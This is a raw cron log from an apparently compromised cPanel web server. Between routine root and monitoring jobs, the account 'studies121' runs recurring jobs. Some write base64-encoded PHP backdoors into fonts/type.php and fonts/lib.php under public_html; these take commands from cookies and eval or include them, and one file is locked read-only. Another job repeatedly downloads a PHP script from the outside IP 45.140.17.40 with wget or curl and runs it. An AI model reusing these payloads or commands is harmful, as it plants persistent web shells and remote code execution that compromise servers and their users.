Sep 22 11:30:01 ip-184-168-122-23 CROND[30939]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 11:30:02 ip-184-168-122-23 CROND[30945]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 11:30:02 ip-184-168-122-23 CROND[30947]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 11:30:02 ip-184-168-122-23 CROND[30948]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 22 11:30:02 ip-184-168-122-23 CROND[30949]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 11:30:02 ip-184-168-122-23 CROND[30946]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 11:30:02 ip-184-168-122-23 CROND[30942]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 11:30:02 ip-184-168-122-23 CROND[30944]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 11:31:01 ip-184-168-122-23 CROND[31645]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 11:31:01 ip-184-168-122-23 CROND[31646]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 22 11:31:01 ip-184-168-122-23 CROND[31647]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 11:31:01 ip-184-168-122-23 CROND[31651]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 11:31:01 ip-184-168-122-23 CROND[31650]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 11:32:01 ip-184-168-122-23 CROND[32053]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 11:32:01 ip-184-168-122-23 CROND[32056]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 11:32:01 ip-184-168-122-23 CROND[32055]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 11:32:01 ip-184-168-122-23 CROND[32059]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 11:32:01 ip-184-168-122-23 CROND[32058]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 11:33:01 ip-184-168-122-23 CROND[32257]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 11:33:01 ip-184-168-122-23 CROND[32258]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 11:33:01 ip-184-168-122-23 CROND[32260]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 11:33:01 ip-184-168-122-23 CROND[32261]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 11:34:01 ip-184-168-122-23 CROND[32403]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 11:34:01 ip-184-168-122-23 CROND[32405]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 11:34:01 ip-184-168-122-23 CROND[32407]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 11:34:01 ip-184-168-122-23 CROND[32408]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 11:34:01 ip-184-168-122-23 CROND[32409]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 11:35:01 ip-184-168-122-23 CROND[32574]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 11:35:01 ip-184-168-122-23 CROND[32575]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 11:35:01 ip-184-168-122-23 CROND[32577]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 22 11:35:01 ip-184-168-122-23 CROND[32578]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 11:35:01 ip-184-168-122-23 CROND[32579]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 11:35:01 ip-184-168-122-23 CROND[32581]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 11:35:01 ip-184-168-122-23 CROND[32582]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 11:35:01 ip-184-168-122-23 CROND[32583]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 22 11:36:01 ip-184-168-122-23 CROND[375]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 11:36:01 ip-184-168-122-23 CROND[378]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 11:36:01 ip-184-168-122-23 CROND[379]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 11:36:01 ip-184-168-122-23 CROND[377]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 11:36:01 ip-184-168-122-23 CROND[380]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 11:37:01 ip-184-168-122-23 CROND[511]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 11:37:01 ip-184-168-122-23 CROND[512]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 11:37:01 ip-184-168-122-23 CROND[514]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 11:37:01 ip-184-168-122-23 CROND[515]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 11:38:01 ip-184-168-122-23 CROND[714]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 11:38:01 ip-184-168-122-23 CROND[718]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 11:38:01 ip-184-168-122-23 CROND[717]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 11:38:01 ip-184-168-122-23 CROND[719]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 11:38:01 ip-184-168-122-23 CROND[720]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 11:39:01 ip-184-168-122-23 CROND[857]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 11:39:01 ip-184-168-122-23 CROND[859]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 11:39:01 ip-184-168-122-23 CROND[862]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 22 11:39:01 ip-184-168-122-23 CROND[860]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 11:39:01 ip-184-168-122-23 CROND[863]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 11:40:01 ip-184-168-122-23 CROND[1070]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 11:40:01 ip-184-168-122-23 CROND[1073]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 11:40:01 ip-184-168-122-23 CROND[1072]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 11:40:01 ip-184-168-122-23 CROND[1076]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 11:40:01 ip-184-168-122-23 CROND[1078]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 22 11:40:01 ip-184-168-122-23 CROND[1079]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 11:40:01 ip-184-168-122-23 CROND[1077]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 11:40:01 ip-184-168-122-23 CROND[1080]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 11:41:02 ip-184-168-122-23 CROND[1295]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 11:41:02 ip-184-168-122-23 CROND[1298]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 11:41:02 ip-184-168-122-23 CROND[1297]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 11:41:02 ip-184-168-122-23 CROND[1300]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
